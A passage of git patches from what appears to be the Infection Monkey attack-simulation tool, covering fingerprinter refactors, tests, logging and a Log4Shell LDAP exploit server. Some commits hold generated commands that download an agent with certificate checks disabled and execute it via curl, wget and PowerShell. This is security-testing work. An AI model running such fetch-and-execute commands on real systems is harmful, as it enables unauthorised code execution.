closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123 + return response.headers except Timeout: logger.debug(f"Timeout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us @@ -80,7 +85,7 @@ def _get_server_from_headers(url: str) -> Optional[str]: def _get_open_http_ports( - allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] ) -> Iterable[int]: open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) return (port for port in open_ports if port in allowed_http_ports) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 8baa97782..20a320048 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -7,25 +7,27 @@ from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprint OPTIONS = {"http_ports": [80, 443, 8080, 9200]} -PYTHON_SERVER_HEADER = "SimpleHTTP/0.6 Python/3.6.9" -APACHE_SERVER_HEADER = "Apache/Server/Header" +PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"} +APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"} +NO_SERVER_HEADER = {"Not_Server": "No Header for you"} SERVER_HEADERS = { "https://127.0.0.1:443": PYTHON_SERVER_HEADER, "http://127.0.0.1:8080": APACHE_SERVER_HEADER, + "http://127.0.0.1:1080": NO_SERVER_HEADER, } @pytest.fixture -def mock_get_server_from_headers(): - return MagicMock(side_effect=lambda port: SERVER_HEADERS.get(port, None)) +def mock_get_http_headers(): + return MagicMock(side_effect=lambda url: SERVER_HEADERS.get(url, None)) @pytest.fixture(autouse=True) -def patch_get_server_from_headers(monkeypatch, mock_get_server_from_headers): +def patch_get_http_headers(monkeypatch, mock_get_http_headers): monkeypatch.setattr( "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers", - mock_get_server_from_headers, + mock_get_http_headers, ) From 4408601332d66593b5ca20544f3e264cfac30496 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 09:18:54 -0500 Subject: [PATCH 0628/1110] UT: Add unit test for missing server header in valid http response --- .../test_http_fingerprinter.py | 56 ++++++++++++------- 1 file changed, 37 insertions(+), 19 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 20a320048..dde307506 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -5,7 +5,7 @@ import pytest from infection_monkey.i_puppet import PortScanData, PortStatus from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter -OPTIONS = {"http_ports": [80, 443, 8080, 9200]} +OPTIONS = {"http_ports": [80, 443, 1080, 8080, 9200]} PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"} APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"} @@ -26,7 +26,7 @@ def mock_get_http_headers(): @pytest.fixture(autouse=True) def patch_get_http_headers(monkeypatch, mock_get_http_headers): monkeypatch.setattr( - "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers", + "infection_monkey.network_scanning.http_fingerprinter._get_http_headers", mock_get_http_headers, ) @@ -36,7 +36,7 @@ def http_fingerprinter(): return HTTPFingerprinter() -def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter): +def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), @@ -45,10 +45,10 @@ def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter): } http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS) - assert not mock_get_server_from_headers.called + assert not mock_get_http_headers.called -def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprinter): +def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), @@ -59,18 +59,18 @@ def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprin "127.0.0.1", None, port_scan_data, OPTIONS ) - assert mock_get_server_from_headers.call_count == 1 - mock_get_server_from_headers.assert_called_with("https://127.0.0.1:443") + assert mock_get_http_headers.call_count == 1 + mock_get_http_headers.assert_called_with("https://127.0.0.1:443") assert fingerprint_data.os_type is None assert fingerprint_data.os_version is None assert len(fingerprint_data.services.keys()) == 1 - assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"] assert fingerprint_data.services["tcp-443"]["data"][1] is True -def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprinter): +def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), @@ -81,16 +81,16 @@ def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprint "127.0.0.1", None, port_scan_data, OPTIONS ) - assert mock_get_server_from_headers.call_count == 2 - mock_get_server_from_headers.assert_any_call("https://127.0.0.1:9200") - mock_get_server_from_headers.assert_any_call("http://127.0.0.1:9200") + assert mock_get_http_headers.call_count == 2 + mock_get_http_headers.assert_any_call("https://127.0.0.1:9200") + mock_get_http_headers.assert_any_call("http://127.0.0.1:9200") assert fingerprint_data.os_type is None assert fingerprint_data.os_version is None assert len(fingerprint_data.services.keys()) == 0 -def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter): +def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"), @@ -100,16 +100,34 @@ def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter): "127.0.0.1", None, port_scan_data, OPTIONS ) - assert mock_get_server_from_headers.call_count == 3 - mock_get_server_from_headers.assert_any_call("https://127.0.0.1:443") - mock_get_server_from_headers.assert_any_call("https://127.0.0.1:8080") - mock_get_server_from_headers.assert_any_call("http://127.0.0.1:8080") + assert mock_get_http_headers.call_count == 3 + mock_get_http_headers.assert_any_call("https://127.0.0.1:443") + mock_get_http_headers.assert_any_call("https://127.0.0.1:8080") + mock_get_http_headers.assert_any_call("http://127.0.0.1:8080") assert fingerprint_data.os_type is None assert fingerprint_data.os_version is None assert len(fingerprint_data.services.keys()) == 2 - assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"] assert fingerprint_data.services["tcp-443"]["data"][1] is True - assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER + assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER["Server"] assert fingerprint_data.services["tcp-8080"]["data"][1] is False + + +def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 1080: PortScanData(1080, PortStatus.OPEN, "", "tcp-1080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_http_headers.call_count == 2 + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + assert fingerprint_data.services["tcp-1080"]["data"][0] == "" + assert fingerprint_data.services["tcp-1080"]["data"][1] is False From 9af6c3bed19a0862c1309392ed139048e66ecb36 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 09:37:17 -0500 Subject: [PATCH 0629/1110] Agent: Suppress debug logging of urllib3 urllib3 debug logs are unnecessarily verbose for our purposes. Setting the log level of urllib3 to debug unclutters the logs and makes debugging simpler. --- monkey/infection_monkey/master/automated_master.py | 4 ++++ monkey/infection_monkey/monkey.py | 1 + 2 files changed, 5 insertions(+) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index ceb66e3b9..bf2e11132 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -90,6 +90,10 @@ class AutomatedMaster(IMaster): logger.warning("Forcefully killing the simulation") def _wait_for_master_stop_condition(self): + logger.debug( + "Checking for the stop signal from the island every " + f"{CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC} seconds." + ) timer = Timer() timer.set(CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 868972ad2..261ed16ff 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -53,6 +53,7 @@ from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers logger = logging.getLogger(__name__) +logging.getLogger("urllib3").setLevel(logging.INFO) class InfectionMonkey: From 04facab5836f7698c0deef26d5fac1653768f503 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Mar 2022 20:01:17 +0530 Subject: [PATCH 0630/1110] UI: Fix manual running commands' address shown on Island's run page --- .../components/pages/RunMonkeyPage/commands/local_linux_curl.js | 2 +- .../components/pages/RunMonkeyPage/commands/local_linux_wget.js | 2 +- .../pages/RunMonkeyPage/commands/local_windows_powershell.js | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js index ceaeab393..6daf29f18 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -1,5 +1,5 @@ export default function generateLocalLinuxCurl(ip, username) { - let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k ` + let command = `curl https://${ip}:5000/api/monkey/download/linux -k ` + `-o monkey-linux-64; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index 0540540e7..9e67681d1 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,6 +1,6 @@ export default function generateLocalLinuxWget(ip, username) { let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` - + `monkey-linux-64; ` + + `linux; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index de5346f30..ea068dfb5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -1,7 +1,7 @@ function getAgentDownloadCommand(ip) { return `$execCmd = @"\r\n` + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/windows',` + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `\r\n"@; \r\n` + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; From b20abad0b6bdc574cbe40c005fa46a5cf8df5ec0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 3 Mar 2022 17:42:10 +0200 Subject: [PATCH 0631/1110] Island: change manual run commands to target /os download endpoints Now monkey agents are downloaded not by name, but by os, so url's had to change --- .../components/pages/RunMonkeyPage/commands/local_linux_curl.js | 2 +- .../components/pages/RunMonkeyPage/commands/local_linux_wget.js | 2 +- .../pages/RunMonkeyPage/commands/local_windows_powershell.js | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js index ceaeab393..6daf29f18 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -1,5 +1,5 @@ export default function generateLocalLinuxCurl(ip, username) { - let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k ` + let command = `curl https://${ip}:5000/api/monkey/download/linux -k ` + `-o monkey-linux-64; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index 0540540e7..9e67681d1 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,6 +1,6 @@ export default function generateLocalLinuxWget(ip, username) { let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` - + `monkey-linux-64; ` + + `linux; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index de5346f30..ea068dfb5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -1,7 +1,7 @@ function getAgentDownloadCommand(ip) { return `$execCmd = @"\r\n` + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/windows',` + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `\r\n"@; \r\n` + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; From d3c75200fdcce0cce18b87959cbd448757f39cb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 11:31:11 -0500 Subject: [PATCH 0632/1110] Agent: Remove SystemInfoCollector references from dropper.py --- monkey/infection_monkey/dropper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index b42bc3414..90d6712d5 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -18,6 +18,7 @@ from infection_monkey.utils.commands import ( get_monkey_commandline_linux, get_monkey_commandline_windows, ) +from infection_monkey.utils.environment import is_windows_os if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -140,7 +141,7 @@ class MonkeyDrops(object): location=None, ) - if OperatingSystem.Windows == SystemInfoCollector.get_os(): + if is_windows_os(): monkey_commandline = get_monkey_commandline_windows( self._config["destination_path"], monkey_options ) From 928192b9b0315db3b7cdfd918abc285ae569ff07 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 13:48:00 -0500 Subject: [PATCH 0633/1110] Agent: Add helpful debug logging to log4shell exploiter --- monkey/infection_monkey/exploit/log4shell.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bfc0b4b46..d6c6ec198 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -138,6 +138,10 @@ class Log4ShellExploiter(WebRCE): # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): for port in self._open_ports: + logger.debug( + f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' + f"on port {port}" + ) try: url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: @@ -175,6 +179,7 @@ class Log4ShellExploiter(WebRCE): time.sleep(1) + logger.debug("Timed out while waiting for victim to download the java bytecode") return False def _wait_for_victim_to_download_agent(self): From 515edf265a92dd1378bc78acae6410fae839f649 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 13:48:18 -0500 Subject: [PATCH 0634/1110] Island: Add helpful logging to MonkeyDownload resource --- monkey/monkey_island/cc/resources/monkey_download.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 99943aedb..a5750769f 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -51,7 +51,9 @@ class MonkeyDownload(flask_restful.Resource): def get_agent_executable_path(host_os: str) -> Path: try: agent_path = get_executable_full_path(AGENTS[host_os]) - logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}") + logger.debug(f'Local path for {host_os} executable is "{agent_path}"') + if not agent_path.is_file(): + logger.error(f"File {agent_path} not found") return agent_path except KeyError: From 93415cf2c878ed2f02ad397d1b410aec1cd41cb0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 14:40:41 -0500 Subject: [PATCH 0635/1110] Agent: Add TODO to Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d6c6ec198..146f4c16a 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -160,6 +160,8 @@ class Log4ShellExploiter(WebRCE): self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: + # TODO: Peridodically check to see if ldap or HTTP servers have exited with an error. If + # they have, return with an error. victim_called_back = False victim_called_back = self._wait_for_victim_to_download_java_bytecode() From df495f98c72f3c7fe6838b64ffcfd86ae5d6283e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Mar 2022 14:49:39 -0500 Subject: [PATCH 0636/1110] Agent: Fix twisted import parallelization bug --- .../exploit/log4shell_utils/ldap_server.py | 45 +++++++++++++------ 1 file changed, 31 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 0b29fd4cf..52ba2edbb 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -6,14 +6,16 @@ import threading import time from pathlib import Path -from ldaptor.interfaces import IConnectedLDAPEntry -from ldaptor.ldiftree import LDIFTreeEntry from ldaptor.protocols.ldap.ldapserver import LDAPServer -from twisted.application import service -from twisted.internet import reactor from twisted.internet.protocol import ServerFactory -from twisted.python import log -from twisted.python.components import registerAdapter + +# WARNING: It was observed that this LDAP server would raise an exception and fail to start if +# multiple Python threads attempt to start multiple LDAP servers simultaneously. It was +# thought that since each LDAP server is started in its own process, there would be no +# issue, however this is not the case. It seems that there may be something that is not +# thread- or multiprocess-safe about some of the twisted imports. Moving the twisted +# imports down into the functions where they are required and removing them from the top of +# this file appears to resolve the issue. logger = logging.getLogger(__name__) @@ -32,6 +34,8 @@ class Tree: """ def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + from ldaptor.ldiftree import LDIFTreeEntry + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) self.db = LDIFTreeEntry(self.path) @@ -91,14 +95,7 @@ class LDAPExploitServer: self._http_server_ip = http_server_ip self._http_server_port = http_server_port self._storage_dir = storage_dir - - # A Twisted reactor can only be started and stopped once. It cannot be restarted after it - # has been stopped. To work around this, the reactor is configured and run in a separate - # process. This allows us to run multiple LDAP servers sequentially or simultaneously and - # stop each one when we're done with it. - self._server_process = multiprocessing.Process( - target=self._run_twisted_reactor, daemon=True - ) + self._server_process = None def run(self): """ @@ -108,6 +105,15 @@ class LDAPExploitServer: :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. """ logger.info("Starting LDAP exploit server") + + # A Twisted reactor can only be started and stopped once. It cannot be restarted after it + # has been stopped. To work around this, the reactor is configured and run in a separate + # process. This allows us to run multiple LDAP servers sequentially or simultaneously and + # stop each one when we're done with it. + self._server_process = multiprocessing.Process( + target=self._run_twisted_reactor, daemon=True + ) + self._server_process.start() reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) @@ -117,6 +123,8 @@ class LDAPExploitServer: logger.debug("The LDAP exploit server has successfully started") def _run_twisted_reactor(self): + from twisted.internet import reactor + logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") self._configure_twisted_reactor() @@ -128,6 +136,8 @@ class LDAPExploitServer: reactor.run() def _check_if_reactor_startup_completed(self): + from twisted.internet import reactor + check_interval_sec = 0.25 num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) @@ -141,6 +151,11 @@ class LDAPExploitServer: time.sleep(check_interval_sec) def _configure_twisted_reactor(self): + from ldaptor.interfaces import IConnectedLDAPEntry + from twisted.application import service + from twisted.internet import reactor + from twisted.python.components import registerAdapter + LDAPExploitServer._output_twisted_logs_to_python_logger() registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) @@ -155,6 +170,8 @@ class LDAPExploitServer: @staticmethod def _output_twisted_logs_to_python_logger(): + from twisted.python import log + # Configures Twisted to output its logs using the standard python logging module instead of # the Twisted logging module. # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html From bf998f502113edcebf2e63d55191cad74552e3b9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 4 Mar 2022 17:03:37 -0500 Subject: [PATCH 0637/1110] Agent: Fix HTTPHandler class name in ExploitClassHTTPServer --- .../exploit/log4shell_utils/exploit_class_http_server.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 5fc6521bd..3e0cdd38d 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -28,7 +28,7 @@ def do_GET(self): def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event): return type( - "http_handler_class", + "HTTPHandler", (http.server.BaseHTTPRequestHandler,), { "java_class": java_class, @@ -60,9 +60,9 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - http_handler_class = get_new_http_handler_class(java_class, self._class_downloaded) + HTTPHandler = get_new_http_handler_class(java_class, self._class_downloaded) - self._server = http.server.HTTPServer((ip, port), http_handler_class) + self._server = http.server.HTTPServer((ip, port), HTTPHandler) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` From efa0c5beb4ca4d8ea2e7fc4ea74fdb82a122d948 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 4 Mar 2022 17:05:35 -0500 Subject: [PATCH 0638/1110] Agent: Format HTTPFingerprinter with Black --- .../network_scanning/http_fingerprinter.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py index f5dcfac64..25e96d4a2 100644 --- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -25,11 +25,11 @@ class HTTPFingerprinter(IFingerprinter): """ def get_host_fingerprint( - self, - host: str, - _: PingScanData, - port_scan_data: Dict[int, PortScanData], - options: Dict, + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: services = {} http_ports = set(options.get("http_ports", [])) @@ -85,7 +85,7 @@ def _get_http_headers(url: str) -> Optional[Dict[str, Any]]: def _get_open_http_ports( - allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] ) -> Iterable[int]: open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) return (port for port in open_ports if port in allowed_http_ports) From ca485bf569cfb6ddef053df65c59d9a3c473c86f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 03:59:47 -0500 Subject: [PATCH 0639/1110] Agent: Return temporary monkey_dir as Path instead of str --- .../infection_monkey/telemetry/attack/t1107_telem.py | 2 +- monkey/infection_monkey/utils/monkey_dir.py | 12 ++++++++---- .../telemetry/attack/test_t1107_telem.py | 6 ++++++ 3 files changed, 15 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index 816488f3b..c3667289b 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -13,5 +13,5 @@ class T1107Telem(AttackTelem): def get_data(self): data = super(T1107Telem, self).get_data() - data.update({"path": self.path}) + data.update({"path": str(self.path)}) return data diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index 7f74f9158..14269c7b3 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -1,5 +1,6 @@ import shutil import tempfile +from pathlib import Path MONKEY_DIR_PREFIX = "monkey_dir_" _monkey_dir = None @@ -7,13 +8,13 @@ _monkey_dir = None # TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or # tempfile.mkftemp() if they need to. -def create_monkey_dir(): +def create_monkey_dir() -> Path: """ Creates directory for monkey and related files """ global _monkey_dir - _monkey_dir = tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir()) + _monkey_dir = Path(tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir())) return _monkey_dir @@ -29,5 +30,8 @@ def remove_monkey_dir(): return False -def get_monkey_dir_path(): - return _monkey_dir +def get_monkey_dir_path() -> Path: + if _monkey_dir is None: + create_monkey_dir() + + return _monkey_dir # type: ignore diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py index bb1bf2088..7680191a5 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py @@ -1,4 +1,5 @@ import json +from pathlib import Path import pytest @@ -20,3 +21,8 @@ def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" + + +def test_T1107_send__path(spy_send_telemetry): + T1107Telem(STATUS, Path(PATH)).send() + assert json.loads(spy_send_telemetry.data)["path"] == PATH From 3698a28e2655ff02645f45d8452dee6240196cbf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 04:02:04 -0500 Subject: [PATCH 0640/1110] Agent: Add return type annotation to remove_monkey_dir() --- monkey/infection_monkey/utils/monkey_dir.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index 14269c7b3..4639ec6bc 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -18,7 +18,7 @@ def create_monkey_dir() -> Path: return _monkey_dir -def remove_monkey_dir(): +def remove_monkey_dir() -> bool: """ Removes monkey's root directory :return True if removed without errors and False otherwise From c4f971ff3358be852e713fa9c10de90149c055ad Mon Sep 17 00:00:00 